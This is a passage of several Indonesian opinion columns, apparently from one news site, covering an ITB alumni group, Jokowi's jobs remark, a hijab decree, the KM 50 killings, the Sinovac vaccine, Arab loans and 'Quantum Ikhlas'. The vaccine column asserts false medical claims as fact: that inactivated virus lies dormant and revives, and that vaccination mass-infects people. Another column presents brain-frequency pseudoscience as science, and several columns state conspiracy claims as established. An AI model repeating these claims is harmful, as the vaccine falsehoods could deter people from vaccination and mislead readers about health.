terkemuka di Indonesia. ITB berulangkali menahbiskan dirinya sebagai Dosen Berprestasi. Prof. Brian juga seorang muslim yang saleh. Dari gambaran di atas kita bisa menyimpulkan bahwa keempat pihak yang menjadi target GAR ITB memiliki ciri yang sama. Pertama, mereka adalah tokoh muslim dan lembaga Islam terkemuka. Kedua, mereka adalah puncak-puncak prestasi muslim dan muslimah di dunia politik, pendidikan, amal, akademik, dan bisnis. Prestasi mereka telah menginspirasi jutaan orang. Ketiga, mereka adalah representasi dari kebangkitan Islam yang menampilkan muslim dan muslimah dengan citra rasional, moderen namun penuh belas-kasih dan independen. Namun lebih dari semuanya, mereka adalah muslim dan muslimah yang saleh, dalam arti selalu mendasarkan pikiran dan tindakannya kepada ajaran Islam. Siapa GAR? Saya memiliki banyak teman di GAR ITB, baik yang tergabung dalam grup whatsapp GAR atau yang menjadi penandatangan dukungan pada surat-surat mereka. Tetapi GAR tentu saja lebih dari sekadar penjumlahan sifat dan watak orang-orang yang saya kenal pribadi. Dalam hemat saya GAR adalah produk dari apa yang disebut Gramsci sebagai Perang Posisi yaitu perjuangan politik dan ideologi untuk memperebutkan kedudukan hegemoni di Indonesia. Perang posisi itu berada di bawah permukaan dan merepresentasikan konflik eternal kaum sekuler vs kaum agama di Indonesia. Perang tersebut sengit, penuh trik, tipudaya, framing dan banyak menggunakan proxy. Tetapi saya tidak akan membahas lebih jauh tentang hal ini. Saya menunda pembahasannya supaya kita tidak kehilangan fokus terhadap isu GAR ini. GAR ITB memperkenalkan dirinya sebagai Gerakan Anti-Radikalisme, yaitu organisasi dari sejumlah alumni ITB yang ingin membersihkan ITB dari radikalisme. Dari nama dan misinya kita bisa menyimpulkan bahwa semua tindakan dan kebijakan GAR mestilah berkaitan dengan upaya deradikalisasi. Kita melihat bahwa dalam semua kegiatan GAR mulai dari menentukan target, menganalisa dan mencari pembenaran atas tuduhannya, mencari dukungan tandatangan, membuat surat resmi, beraudiensi dengan para pejabat untuk memperoleh dukungan dan sebagainya hanya terkait kepada 4 nama: YPM Salman, Din Syamsudin, Nurhayati Subakat dan Brian Yuliarto. Mudah bagi kita kemudian menduga bahwa keempat nama yang diserang oleh GAR itu mestilah pihak yang mereka indikasikan radikal, atau setidaknya membantu menyebarkan radikalisme di ITB. Kalau bukan begitu nama dan misi mereka menjadi hal yang sia-sia belaka. Alasan yang dikemukakan GAR tidak penting kita bahas karena pertama, semua alasan yang mereka kemukakan adalah alasan trivial (sepele, tidak substantif, remeh). Alasan semacam itu hanya dihargai oleh pemerintah absolutis dimana "Anda dihukum bukan karena tidak menggunakan seragam merah, tetapi karena ada noda hitam di kerahnya". Alasan terkait pemakzulan Din Syamsudin khususnya membuat saya sangat malu. Sebab sebagai mantan aktivis ITB saya tahu bahwa semua aktivis yang melawan Orde Baru saat itu berkomitmen memperjuangkan demokrasi. Dan sekarang, setelah reformasi, GAR menggunakan bahasa Bakorstanas untuk memakzulkan Din. Apakah di ITB reformasi sudah tidak berarti? Apakah kebebasan berbicara di ITB sudah mati? Sikap GAR itu bahkan jauh lebih buruk daripada Bakorstanas, mereka lebih mirip remaja mentah Pengawal Merah di era Revolusi Kebudayaan Cina Mao yang menghantamkan palunya ke kepala ayah mereka sendiri. Kedua, keinginan GAR bukan mengoreksi keadaan yang dianggapnya salah tetapi untuk menjatuhkan orang/lembaga yang menjadi target mereka. Dalam kasus YPM Salman dan Nurhayati, keduanya sebetulnya sudah akomodatif. Pihak Paragon (Nurhayati) telah menyingkirkan logo perusahaan dan pihak YPM Salman telah menghapus syarat khusus mahasiswa muslim. Toh surat protes tetap dikirimkan. GAR berkukuh karena surat mereka memang tidak bertujuan mengoreksi keadaan sebagaimana mereka sampaikan secara terbuka. Surat tersebut bertujuan menjatuhkan YPM Salman dan ibu Nurhayati dan menyematkan label "partisan dan agen radikalisme" di dada keduanya. Label itu tidak berguna bagi orang yang berpikiran waras. *Namun label itu sangat berguna untuk peluru buli-bulian para buzzer di media sosial.* Penutup GAR menurut saya adalah orang-orang tua yang tertipu. Mereka korban dari operasi intelejen yang sedang membangun necessary conditions bagi dominasi kekuatan sekuler atas kekuatan Islam saleh yang rasional, moderen, canggih, penuh belas-kasih dan independen. Kekuatan Islam yang coba dijatuhkan ini adalah generasi baru Islam yang tidak terlibat dalam dilema negara Islam vs negara Pancasila. Mereka justru adalah tokoh-tokoh yang bergulat secara kreatif dalam polemik tersebut namun berhasil menemukan solusi-solusi original. Generasi baru ini mencerminkan kebangkitan Islam yang diimpikan begitu lama, saat ini menjadi sasaran untuk dijatuhkan dan dipermalukan. Kalau hal itu berhasil maka terbentuklah kondisi dimana Islam tetap dianggap agama inferior, dan umat Islam dianggap tidak mampu menyajikan dan memimpin jalan kemajuan. Harapan saya GAR bisa mengkoreksi diri. Semasa mahasiswa dulu saya diajarkan negasi, yaitu semangat untuk mempertanyakan apapun yang orang katakan kepada saya. Semangat itu hendaknya dihidupkan kembali: untuk apa, untuk siapa, mengapa saya harus melakukan hal ini? Narasi radikalisme yang dipompakan oleh BNPT itu sebetulnya dangkal. Survei-survei yang mengatakan radikalisme berjangkit di kampus-kampus itu jauh dari standar akademis. Begitu banyak celah untuk mempertanyakan kebenaran narasi radikalisme dan deradikalisasi. Akhirnya, saya ingin menggarisbawahi pentingnya terus dihidupkan kerinduan kepada kebangkitan Islam. Dimana-mana kita melihat pentingnya kesalehan pemimpin, dan di sana agama memiliki peranan yang besar sekali. Namun kita pun tahu kesalehan tidak bisa berdiri sendiri. Di dalam lingkungan yang dipenuhi ketidak-adilan, kesalehan bisa memudar. Oleh karena itu, pemimpin baru Islam mesti bisa menjawab tantangan menciptakan sistem baru yang lebih berkeadilan. Last but not least, diskusi ini memunculkan dua pesan untuk generasi baru Islam. Pertama, bentuklah diri kalian dengan kesalehan. Dan kedua, ukir jalan perjuangan kalian untuk menciptakan masyarakat adil. Penulis adalah Pemerhati Sosial dan Politik.

Jokowi Lempar Handuk dalam Urusan Lapangan Kerja

"KUNCI lapangan kerja bukan dari pemerintah." Demikian judul berita yang dapat dibaca di berbagai media daring atau online. Kalimat itu bersumber dari ucapan Presiden Joko Widodo, di Istana Bogor, Sabtu, 20 Februari 2021. Perluasan lapangan kerja secara berkelanjutan, katanya, hanya bisa dilakukan oleh pelaku usaha, bukan pemerintah. Itu berarti, kunci dari penyediaan lapangan kerja ada di pengusaha. Perluasan lapangan kerja berkelanjutan adalah dari pelaku usaha, dari dunia usaha, kuncinya di situ bukan dari pemerintah. Sedangkan pemerintah hanya bisa menyediakan lapangan usaha sesekali waktu atau tidak berkelanjutan. Sebenarnya, tidak ada yang salah dengan ucapan Jokowi itu, jika disampaikan dalam situasi normal. Akan tetapi, ucapannya itu menjadi pertanyaan bagi rakyat. Jika kunci lapangan kerja tidak di pemerintah alias diserahkan kepada pelaku usaha, lalu fungsi pemerintahan itu ke mana? Apakah ucapan itu dapat diartikan bahwa Jokowi ingin meliberalisasi perekonomian secara total? Apakah ucapan Jokowi itu menunjukkan, pemerintah cuci tangan alias lempar handuk atas ketidakmampuan atau tidak becusan mengurus negara, terurama di bidang ekonomi? Sehingga, jika terjadi kegagalan dalam penyerapan tenaga kerja, yang disalahkan adalah dunia usaha atau pelaku usaha. Kira-kira kalimatnya melempar handuknya begini. Misalnya, tahun 2021 ini, pemerintah akan menciptakan lapangan kerja antara 2,8 sampai 3 juta dengan Undang-Undang Cipta Kerja. Mudahan-mudahan tercapai, sehingga jumlah pengangguran tidak bertambah. Nah, jika tidak tercapai, pemerintah sudah memiliki beberapa jawaban. Pertama, kunci lapangan kerja bukan di tangan pemerintah, tetapi sudah diserahkan kepada pengusaha, terutama dunia usaha swasta. Anda tahu sendiri kan, jika kunci mobil atau kunci rumah sudah berpindah tangan, ya suka-suka pemegang kunci baru. Mau mobilnya diganti warna dan tambah variasi, ya urusan pemegang kunci baru itu. Mau rumah direnovasi sedikit atau total, itu urusan pemilik rumah yang sudah menerima kunci itu. Jika kita sandingkan dengan kunci lapangan kerja bukan di pemerintah, artinya diserahkan semua urusan penerimaan kerja dan cara mempekerjakannya diserahkan kepada pelaku usaha swasta. Makanya, pengusaha swasta semakin banyak yang sewenang-wenang terhadap pekerjanya. Kesewenang-wenangan ini diperkirakan terus meningkat dengan berlakunya UU Cipta Kerja, apalagi dengan ucapan presiden yang menyerahkan kunci lapangan kerja ke sektor swasta. Kedua, jika lapangan kerja 2,8 sampai 3 juta tahun ini tidak tercapai, Jokowi dan para menterinya diperkirakan akan kompak mengeluarkan kalimat ngeles. Bisa alasannya karena perekonomian belum pulih. Kalau alasan ini yang keluar, mungkin semua rakyat maklum. Akan tetapi, kalimat yang muncul bukan karena ekonomi belum pulih. Melainkan kalimat menggelikan atau bahkan menyakitkan. "UU Cipta Kerja didemo terus oleh buruh/pekerja. Yang mengganggu ya pekerja juga. Jadi mereka menghalangi calon pekerja." Demikian kira-kira bunyi ucapan kalimatnya. Sebuah kalimat yang tidak diharapkan, karena sangat provokatif dan mengadu-domba pekerja dengan pengusaha. Jadi, Jokowi jangan menyerahkan kunci lapangan kerja itu ke pengusaha. Pemerintah harus pro-aktif dalam membuka lapangan kerja bagi rakyatnya. Pemerintah tidak bisa berdiam diri manakala pengangguran semakin banyak. Ketika anak-anak SMA/SMK dan perguruan tinggi yang baru lulus menganggur, dikhawatirkan sangat berdampak buruk pada kehidupan sosial dan hukum. Kejahatan intelektual bisa meningkat, karena yang menganggur orang-orang terdidik. Jadi, sekali lagi jangan serahkan kunci itu kepada pengusaha. Apalagi mengingat janji manis kampanye Jokowi pada 14 Februari 2019. Saat itu ia berjanji akan memberikan tiga kartu jika terpilih menjadi presiden pada periode 2020-2024. Tiga kartu yang dijanjikan itu adalah kartu pintar, kartu sembako murah dan kartu pekerja. Kartu pekerja akan diberikan agar pelayanan kepada pekerja lebih maksimal. Kartu tersebut juga diperuntukkan bagi calon pekerja dan bekas pekerja. Semua menunggu realisasi janji manis dari Jokowi. Rakyat, khususnya pekerja dan lebih khusus lagi calon pekerja dan bekas pekerja yang di PHK, menunggu bukti, bukan sekedar janji. Rakyat jangan disodorkan dengan "sinetron" yang tidak berarti dan bernilai. **

Begitu Banyak Masalah, Kok Jilbab Yang Dikejar-kejar?

by Asyari Usman Medan, FNN - Cepat, sigap, tegas, solid. Begitulah reaksi pemerintah ketika ada sekolah di Sumatera Barat yang keras soal anjuran pemakaiab jilbab. Jilbab dianggap berbahaya oleh pemerintah. Padahal, UU Nomor 20/2003 tentang Sistem Pendidikan Nasional menyebutkan bahwa tujuan pendidikan adalah menciptakan anak didik yang beriman dan bertakwa kepada Tuhan Yang Maha Esa. Gara-gara SMKN 2 Padang yang ingin ikut menciptakan manusia-manusia baik, tiga menteri bersatu melarang pemerintah daerah mengarahkan anak-didik ke arah yang baik. Sebentar saja lahir SKB Tiga Menteri. Viral dan menakutkan. SKB ini tidak membolehkn pemerintah daerah mewajibkan atau melarang siswa memakai jilbab. SKB ini keluar seola-olah Indonesia telah berada di ambang kehancuran gar-gara jilbab dan busana muslim. Seakan negara ini akan dipenuhi teroris di mana-mana. Padahal, problem yang jelas-jelas menyusahkan dan merusak rakyat ini adalah korupsi, tumpukan utang, kekuasaan olirarkhi, peredaran Narkoba, pergaulan bebas, pornografi, dan sekarang ini pandemi Covid. Kok aturan jilbab di Sumatera Barat yang dikeroyok oleh tiga menteri? Tendensius sekali. Luar biasa zalim. Kalian biarkan Narkoba beredar semakin banyak. Kalian sibuk dengan julbab umat Islam. Kalauan slow-slow saja dengan para bandar Narkoba yang telah merusak lebih dari 4 juta manusia Indonesia. Kalian kejar-kejar jilbab anak sekolah, tapi kalian biarkan bumi Indonesia ini diacak-acak oleh para bangsat penggarong rakus. Kalian biarkan korupsi merajalela. Kalian mandulkan KPK. Kalian biarkan orang-orang yang menggemukkan rekening bank mereka. Kalian diamkan kasus Buku Merah di KPK yang sangat kuat mengindikasikan korupsi seorang mantan jenderal polisi. Negara ini hancur-lebur bukan karena umat Islam yang berjilbab. Tapi karena inkompetensi, korupsi, dan kekuasaan oligarkhi. Hari-hari kalian habiskan waktu, pikiran dan dana untuk memojokkan dan mengerdilkan umat Islam. Kalian sangka ini solusi untuk persoalan yang begitu banyak dan fundamental. Padahal, cara kalian ini hanya akan memunculkan masalah baru. Sungguh aneh. Begitu banyak masalah, kok jilbab yang kalian kejar-kejar?[] Penulis adalah Wartawan Senior FNN.co.id.

Hancur-Hancuran Jejak Pembunuhan di KM 50

by M. Rizal Fadillah Bandung FNN - Setelah pengosongan dari para pedagang di rest area kilometer (KM) 50 tol Jakarta-Cikampek (Japek)berlanjut ke perusakkan bangunan agar tak bisa digunakan. Lalu penutupan lagi untuk jalur persinggahan. Akhirnya bangunan itu kini seluruhnya telah diratakan dengan tanah. Habislah saksi-saki bisu pembunuhan dan pembantaian terhadap enam anggota enam anggota laskar Front Pembela Islam (FPI) oleh aparat Kepolisian. Meskipun demikian sejarah akan tetap bisa lantang bercerita tentang kejahatan dan kebenaran. Secara fisik bangunan yang menjadi saksi mungkin hilang tetapi jejak tidak bisa. Terlalu terang peristiwanya. Terlalu banyak saksinya, dan terlalu kentara rekayasanya. Biarlah semakin keras upaya-upaya untuk menghapus, semakin sakit para pelaku dan pengatur kejahatan itu. Menghapus jejak di Tempat Kejadian Perkara (TKP) adalah wujud dari kegelisahan perencana dan pelaku pembunuhan yang sangat luar biasa. Secara hukum merusak dan menghilangkan barang bukti tentu berisiko. Seluruh dinding bangunan rest area kilometer 50 adalah bukti. Penyidikan belum dilakukan, merusak dan menghilangkan barang bukti sama dengan menghalangi penyidikan. Penghilangan TKP ini akan menjadi kasus tersendiri. Pasal 216 KUHP menghadang di depan. Begitu juga dengan delik perusakannya yang terancam dengan Pasal 233 KUHP. Lumayan juga ancaman jukuman. Bisa 4 tahun penjara. Ada dua mesium yang kelak bisa dibangun di area KM 50 setelah terkuak perbuatan pelanggaran HAM beratnya. Pertama adalah "Monumen Enam Syuhada" sebagai peringatan atas kebengisan aparat kepolisian melawan ketidakberdayaan rakyat. Kedua, "Museum Hak Asasi Manusia " ini lebih luas. Bukan hanya peristiwa pelanggaran HAM atas enam laskar FPI saja, tetapi banyak pelanggaran HAM lainnya. Ini kalau kekuasaan ini suah berganti tahun 2024 nanti Kilometer 50 dan areal sekitar Karawang adalah tempat strategis yang menjadi saksi sejarah perjuangan demokrasi, hak asasi manusia, dan anti penjajahan politik negara kepada warga negara. Temuan yang diduga proyektil di depan Masjid Al Ghammar Muhammadiyah Karawang Barat menandai awal drama kekerasan yang berujung pada syahid. Penghancuran sarana fisik di rest area KM 50 menyedihkan dan memilukan. Bagian dari upaya untuk menghilangkan jejak, ingatan, dan pembuktian. Penghancuran ini menjadi bukti terbaru dari kejahatan yang terjadi. Perlu pengusutan siapa yang mengatur penghancuran rest area KM 50? Apa motif politik? Apa keterkaitan dengan laporan Komnas HAM dan instruksi Kapolri baru tentang penyelesaian kasus? Kapolda Metro Jaya kini hilang bagai tertiup angin. Tak pernah muncul lagi dalam berita yang terkait kilometer 50. Dimanakah posisi petinggi Polri yang satu ini? Padahal awalnya diwacanakan akan mengisi jabatan strategis di Mabes Polri. Tetapi ternyata tidak. Ya namanya juga wacana. Bisa iya, namun bisa juga tidak. Tergantung user yang mau menggunakan. Memang Kapolda Metro jaya mestinya diberhentikan dulu, atau sekurangnya dinon-aktifkan, agar penyelidikan dan penyidikan atas pelanggaran HAM enam anggota laskar FPI dapat berjalan obyektif, transparan, dan bebas hambatan. Jangan sampai posisi Fadil Imran sebagai Kapolda Metro Jaya sekarang bisa menjadi hambatan penyelidikan dan penyidikan kasus ini. Pengusutan harus cepat dimulai. Bukankah rest area sudah diratakan tanah. Terlalu lama para pelaku pembunuhan dibiarkan untuk menghirup udara bebas. Sementara aktor intelektual dan perencana juga telah cukup waktu untuk berfikir keras agar dapat lolos dari jeratan hukum. Mereka mungkin saja bisa lolos di pengadilan dunia, namun tidak untuk pengadilan akhirat. Saatnya membuktikan kejujuran itu mampu mengalahkan kebohongan. Keadilan dapat menggusur kezaliman. Kekuasaan yang zalim bertekuk lutut di bawah tajamnya pedang aturan hukum. Atau sebaliknya, sesungguhnya kita ini masih berada di alam mimpi tentang kisah-kisah yang baik-baik itu. Moga saja tidak terwujud. Penulis adalah Pemerhati Politik dan Kebangsaan.

Terbukti, Faktanya Vaksin Sinovac “Tidak Aman”

by Mochamad Toha Surabaya, FNN - VaksinVirus Corona COVID-19 kembali “makan korban”. Kali ini yang menjadi korban: DR. Eha Soemantri SKM, MKes, Bendahara Perhimpunan Sarjana dan Profesional Kesehatan Masyarakat (Persakmi) Sulawesi Selatan. Eha meninggal di ICU RS Wahidin Sudiro Husodo, Makassar. Setelah shalat subuh. Kabar beredar, sebelumnya Eha dirawat karena terinfeksi Covid-19. Eha sendiri sebelumnya sudah divaksin. Namanya masuk dalam penerima vaksin pertama di Sulsel. Bersama beberapa pejabat Pemprov Sulsel dan Forkopimda di Sulsel. Pada 28 Januari 2021, Eha menerima vaksinasi tahap dua di RSKD Dadi. Eha juga sempat membagikan testimoni terkait vaksinasi, setelah divaksin beberapa waktu lalu. Eha mengimbau masyarakat untuk tidak takut divaksinasi. “Saya telah mendapatkan suntik vaksin pada tanggal 14 Januari setelah pencanangan vaksinasi Covid-19 oleh pak Gubernur,” ujarnya dalam video testimoni tersebut. “Alhamdulillah, setelah divaksin saya tidak mengalami keluhan apa-apa. Ini salah satu bukti yang menunjukkan vaksin Covid-19 aman. Kepada masyarakat, mari kita mensukseskan pemberian vaksin ini, sebagai ikhtiar kita agar terlindungi dari virus covid-19,” ujarnya. “Tentunya dengan tetap mematuhi 3M. Memakai masker, menjaga jarak, dan mematuhi protokol kesehatan,” lanjutnya. Eha Soemantri adalah pengurus Persakmi Sulsel. Ibu tiga anak itu meraih gelar Doktor di Fakultas Kesehatan Masyarakat UNHAS pada 2016. Ia dinyatakan lulus setelah mempertahankan disertasi yang berjudul Determinan Kejadian Stunting pada Anak Usia di Bawah Lima Tahun di Sulsel. Ia meneliti manusia “kate” atau manusia pendek. Mereka yang kehilangan daya tumbuh karena beberapa faktor. Termasuk kekurangan gizi. Sebelum meninggal, Eha memilih mengabdikan dirinya menjadi tenaga pengajar sekaligus menjabat sebagai Direktur Pascasarjana STIK Tamalatea Makassar. Melansir Porostimur.com, Eha menjadikan pendidikan sebagai wadah untuk memperbaiki mutu kehidupan umat manusia. Jumat (19/2/2021) pagi, Eha dinyatakan meninggal dunia di RS Wahidin Sudiro Husodo. Peristiwa yang menimpa Doktor Eha Soemantri itu sudah sepatutnya mendapatkan perhatian serius dari Kementrian Kesehatan. Pasalnya, yang dialami Eha ini termasuk Kejadian Ikutan Pasca Imunisasi (KIPI). Sesuai petunjuk WHP, salah satu bagian tugas dari setiap petugas kesehatan dan NRA/BPOM dalam program imunisasi adalah: - Mengantisipasi dan/atau mengevaluasi kemungkinan terjadinya KIPI yang terjadi pada vaksin tertentu. - Membandingkan angka KIPI sebenarnya yang dilaporkan dengan angka KIPI yang diperkirakan terjadi pada kelompok yang divaksinasi dan kelompok yang tidak di vaksinasi. - Melakukan investigasi segera apabila ada laporan KIPI serius. Tantangan yang penting adalah bagaimana sistem surveilans KIPI bisa membedakan dengan baik antara KIPI karena peristiwa koinsidens dengan KIPI yang disebabkan reaksi terhadap vaksin dan komponen-komponennya. Yang dialami Eha sudah seharusnya dilakukan investigasi karena peristiwa tersebut termasuk dalam kategori KIPI Serius. Pasalnya, Eha telah divaksinasi dua kali: Kamis, 14 Januari, dan Kamis, 28 Januari 2021. Kabarnya, Eha dirawat karena terinfeksi Covid-19. Jangan sampai muncul anggapan, Vaksin Sinovac yang disuntikkan pada Eha ternyata “tidak aman”, meski “halal”, seperti yang telah dinyatakan oleh BPOM. Sebelumnya, beredar video 6 petugas nakes dari 5 Puskesmas di Nangroe Aceh Darussalam (NAD) mengalami pusing, mual, dan muntah-muntah setelah divaksin Sinovac pada Senin, 15 Februari 2021. Dikabarkan oleh SerambiOn TV, hingga kini mereka masih mendapatkan perawatan di RSU Cut Meutia, Aceh Utara, dan RS Arun, Kota Lhokseumawe. Mereka dilarikan ke RS karena mengalami muntah, mual dan pusing mendapat vaksinasi di tempat mereka bekerja. Untuk diketahui, Aceh Utara mulai melaksanakan vaksinasi Corona Virus Disease 2019 (Covid-19) mulai Rabu (12/2/2021) yang diadakan secara serentak di 36 titik, termasuk di RSU Cut Meutia. Melansir Serambinews.com, Selasa (16/2/2021), vaksinasi tahap pertama itu ditargetkan bisa tuntas diadakan pada Senin (15/2/2021) atau selama 5 hari kerja dengan jumlah nakes 6.115 orang. Lalu, pada sorenya, Darlina (35) nakes asal Kecamatan Muara Batu, Aceh Utara, tiba-tiba mengalami mual dan kemudian muntah setelah divaksin. Ia dibawa ke RSU Arun Lhokseumawe untuk mendapat penanganan medis sekitar pukul 14.30 WIB. Tak lama kemudian empat nakes empat nakes lainnya, dari tiga Puskesmas juga mengalami hal yang sama. Mereka kemudian dibawa ke RSU Cut Meutia Aceh Utara sekitar pukul 17.00 WIB. Masing-masing, Melisa Anggraini (34) asal Kecamatan Samudera bertugas di Puskesmas Meurah Mulia, Murniati (40) asal Meunasah Alue Kecamatan Muara Dua Lhokseumawe yang bertugas di Puskesmas Syamtalira Bayu. Widiya Riyani (36) asal Peureumpok Kecamatan Syamtalira Aron yang bertugas di Puskesmas Syamtalira Aron dan Mutmainnah (45) asal Desa Alue Awe Kecamatan Muara Dua Lhokseumawe yang bertugas di Puskesmas Syamtalira Aron. Lalu, pada Selasa (16/2) sekira pukul 00.30 WIB, bertambah satu nakes yang dirawat di RSU Cut Meutia. Pria tersebut adalah Maulana (27) asal Desa Ulee Blang Mane Kecamatan Blang Mangat Lhokseumawe bertugas di Puskesmas Geureudong Pase, Aceh Utara. Sebelumnya, peristiwa serupa menimpa dua nakes di Musi Rawas, Sumatera Selatan. Dua nakes Puskesmas Selangit dan Puskesmas Beliti langsung mengalami kejang-kejang dan muntah usai diivaksin Sinovac. Keduanya langsung menjalani perawatan untuk diobsevasi di RSU Sobirin Musi Rawas pada Selasa (2/2/2021). Tidak Aman Perlu diketahui bahwa vaksin Sinovac itu terbuat dari Virus Corona yang sudah “dilemahkan atau dimatikan”. Jika vaksinasi yang kini sedang berjalan itu tidak dihentikan sementara, hal itu sama saja dengan menginfeksi rakyat Indonesia dengan Covid-19 secara massal. Sebab, seperti yang sering saya sampaikan, diantara virus yang “dimatikan” itu, dipastikan ada yang dorman (tidur). Nah, yang dorman dan dikira mati itulah pada saat atau dengan suhu tertentu akan hidup lagi! Ingat, virus atau bakteri corona itu mahluk hidup yang cerdas! Misalnya, bila virus corona dihantam desinfektan chemikal (kimia), maka asumsi umumnya mereka mati. Tapi, faktanya saat ini mutasi corona sampai di atas 500 karakter atau varian. Ternyata, karena gennya bermutasi, mutannya ada yang “bersifat” tidak hanya ke reseptor ACE-2 (Angiotensin Converting Enzyme 2) saja, tetapi langsung menginfeksi sel-sel saraf. Manifesnya bisa meningitis (contoh kasus penyanyi yang meninggal beberapa bulan lalu). Ada juga yang langsung berikatan atau nempel di sel-sel darah merah, sehingga manifestasi klinisnya seperti DB, tapi setelah dites PCR: positif. Ini banyak ditemukan di pasien-pasien anak di rumah sakit. Fakta klinis tersebut ditemukan di rumah sakit. Jadi, Covid-19 itu tidak hanya menginfeksi di saluran pernapasan seperti yang selama ini beredar! Covid-19 juga sudah mulai menginfeksi saluran pencernaan, sistem saraf, hingga mata. Perlu diingat, Covid-19 itu terjadi dan meledak lebih dari setahun lalu. Padahal, kalau tidak salah, fase membuat vaksin itu butuh waktu 12-18 bulan. Dari mana specimen virusnya itu diperoleh? Kabarnya, basic dari vaksin ini adalah kasus SARS-Corona 5 tahun yang lalu, bukan Covid-19 ini. Apakah efektif untuk Covid-19? Kematian dr. JF di Palembang, sehari setelah divaksin, dan Doktor Eha di Makassar, janganlah dianggap remeh. Bagaimana pula kalau sekarang ini varian baru yang telah ditemukan di Malaysia, Thailand, Philipina, yang kemampuannya 10 kali lebih mematikan dibanding Covid-19? Termasuk, di Inggris dan Afrika sekarang ini? Covid mampu menyerang saluran pencernaan dan saraf. Jangan bisanya mengatakan, pasca divaksin: “jika meninggal atau cacat memperoleh santunan sekian juta rupiah”. Penulis adalah Wartawan Senior FNN.co.id.

Mau Cari Duit ke Timur Tengah, Tapi Terlanjur Tak Suka Arab

by Asyari Usman Medan, FNN - Saya banyak mendengar cerita faktual, bukan fiktif, tentang orang Arab —khususnya Arab Saudi, Kuwait, Qatar, UAE— yang sangat dermawan. Mereka menyalurkan infak, zakat, sedekah, dll, ke para mustahiq (yang berhak) di negara-negara berpenduduk Islam. Banyak per orangan (individu) orang Arab yang menyumbangkan uang miliaran rupiah kepada per orang atau orgasisasi amal. Di Indonesia maupun di negara-negara lain. Ini menunjukkan negara-negara Arab tidak mengalami gangguan finansial signifikan di tengah pandemi ini. Pemerintah dan rakyat mereka tetap surplus. Masih sangat bagus cash flow mereka. Nah, di tengah paceklik duit akhir-akhir ini yang dialami pemerintah Indonesia, teringat kita seandainya para pejabat dan buzzer tidak rasis atau tidak Arabfobia terhadap orang Arab, mungkin saja bisa kita dekati mereka untuk mendapatkan pinjaman lunak tanpa bunga. Tapi, para pebguasa dan buzzer sudah terlanjur membenci orang Arab. Dan orang Arab pun tahu itu. Para penguasa lebih suka RRC. Pinjam duit dari China. Menjualkan barang-barang produk China. Membukakan pintu lebar-lebar untuk TKA China. Memberikan keistimewaan kepada para investor China. Pokoknya, semua serba RRC. Padahal, RRC sendiri sekarang memperketat pinjaman. Belakangan ini, mereka datang ke sini hanya untuk berjualan, bukan membawa uang. Jadi, sayang sekali. Ada negara-negara Arab yang mungkin masih bisa meminjamkan uang, tapi sudah tak enak rasa. Mereka dilecehkan sebagai kadrun, pembawa agama arogan, dlsb. Para penguasa dan buzzer juga tidak suka dengan orang Arab dan hal yang kearab-araban. Penulis adalah Wartawan Senior FNN.co.id.

Merevisi Otak Presiden dengan Quantum Ikhlas

by Jarot Espe Surabaya, FNN - Otak merupakan rangkaian gelombang elektro magnet, lantas bagaimana cara Presiden Jokowi menggunakannya saat menghadapi kritikan masyarakat? Kalau muncul pertanyaan, masyarakat yang mana? Bisa dipastikan frekuensi berpikir presiden masih di jalur biasa. Padahal Pak Jokowi berada dalam posisi luar biasa; sebagai presiden dengan penduduk mayoritas muslim terbesar di dunia. Selama ini wajah Pak Jokowi dikenal dalam berbagai rupa. Dari sosok sederhana, pemberi asa, hingga penggemar musik cadas, rock. Hobi inilah yang barangkali dominan mempengaruhi frekuensi pikiran presiden dalam membuat kebijakan publik. Rock yang hingar bingar, terdeteksi sebagai bunyi yang menyentuh bagian atas kemampuan telinga untuk mendengar. Frekuensi gelombang suara terukur dalam satuan Hertz (hz), dari 20 hingga 20.000. Para rocker yang tengah pentas, orang yang emosional, terbiasa menggunakan kekerasan, tak bisa menggunakan logika sehat, bakal terdeteksi di frekuensi atas. Adapun blues atau jenis musik lain yang ketukan nadanya lamban, membuat pendengar berperilaku lebih tenang. Erbe Sentanu, penulis buku best seller Quantum ikhlas, menggunakan musik serta gemericik air dan kicau burung, untuk mengelola frekuensi gelombang di otak. Suara yang ditimbulkan sangat lembut, membuat orang rileks, senantiasa optimistis, tanpa prasangka. Penuh keikhlasan, karena itu disebut Quantum ikhlas. Istilah quantum merujuk ke satuan terkecil sebuah zat yang tak bisa diurai lagi. Dengan selalu berpikir positif, hal-hal positif secara otomatis akan menghampiri. Demikian sebaliknya. "Hidup kita adalah apa yang kita bayangkan, apa yang kita pikirkan," kata Erbe menjelaskan hukum daya tarik menarik. Jadi jika Pak Jokowi benar-benar ingin dikritik, sebaiknya menurunkan gelombang otak, agar muncul gelombang positif. Dari frekuensi beta (memilik rentang 13 hingga 30 hertz) menjadi alfa (8 sampai 13 hertz). Merujuk penjelasan ilmiah Erbe Sentanu, gelombang beta berkaitan dengan tingkat kesadaran, kewaspadaan dan gairah tinggi. Ketika Pak Jokowi membuat keputusan, sangat dipengaruhi oleh gelombang beta. Bahkan, pada keputusan kontroversial yang memicu reaksi masyarakat, saya meyakini, Pak Jokowi menggunakan gelombang gamma yang berkuatan sangat tinggi, berkisar 40 hertz. Lantas dari mana Pak Jokowi harus mulai merevisi gelombang berpikirnya? Latihan! Setiap pagi mendengarkan compact disc Erbe Sentanu yang sudah disetel di frekuensi alfa, dimana orang pada kondisi setengah tertidur tapi tetap terjaga. Bayangkanlah, Indonesia makmur, penuh damai, serta lupakan kosa kata buzzer rupiah dari memori anda. Jangan lupa menyebut asma Allah, Pak. Mohon jangan meremehkan ilmu Quantum Ikhlas, karena Erbe Sentanu sudah membuktikan. Vonis medis bahwa pasangan Erbe Sentanu mandul, pada akhirnya rontok setelah mereka berdua menjalani terapi Quantum ikhlas. Tidak hanya membayangkan, Erbe dan istrinya berperilaku seolah-olah menyiapkan kelahiran anak bayinya. "Di mana kalian berobat," tanya sang dokter geleng-geleng kepala mengetahui istri Erbe positif hamil. "Dari dokternya manusia"! jawab Erbe. Jadi Pak Jokowi memang harus merevisi gelombang frekuensi di otak sebelum membuat kebijakan publik untuk memuliakan umat, mensejahterakan rakyat. Bapak adalah presiden seluruh penduduk Indonesia. Benar apa yang disampaikan Rocky Gerung (meski saya bukan followernya) , Pak Jokowi memang harus mulai membuka kesempatan oposisi bersuara. Mengawali dari hulu, agar bisa diikuti di hilir. Penulis adalah Pemerhati Seni.

Gencatan Senjata & Dialog Jakarta-Papua, Cara Paling Bermartabat

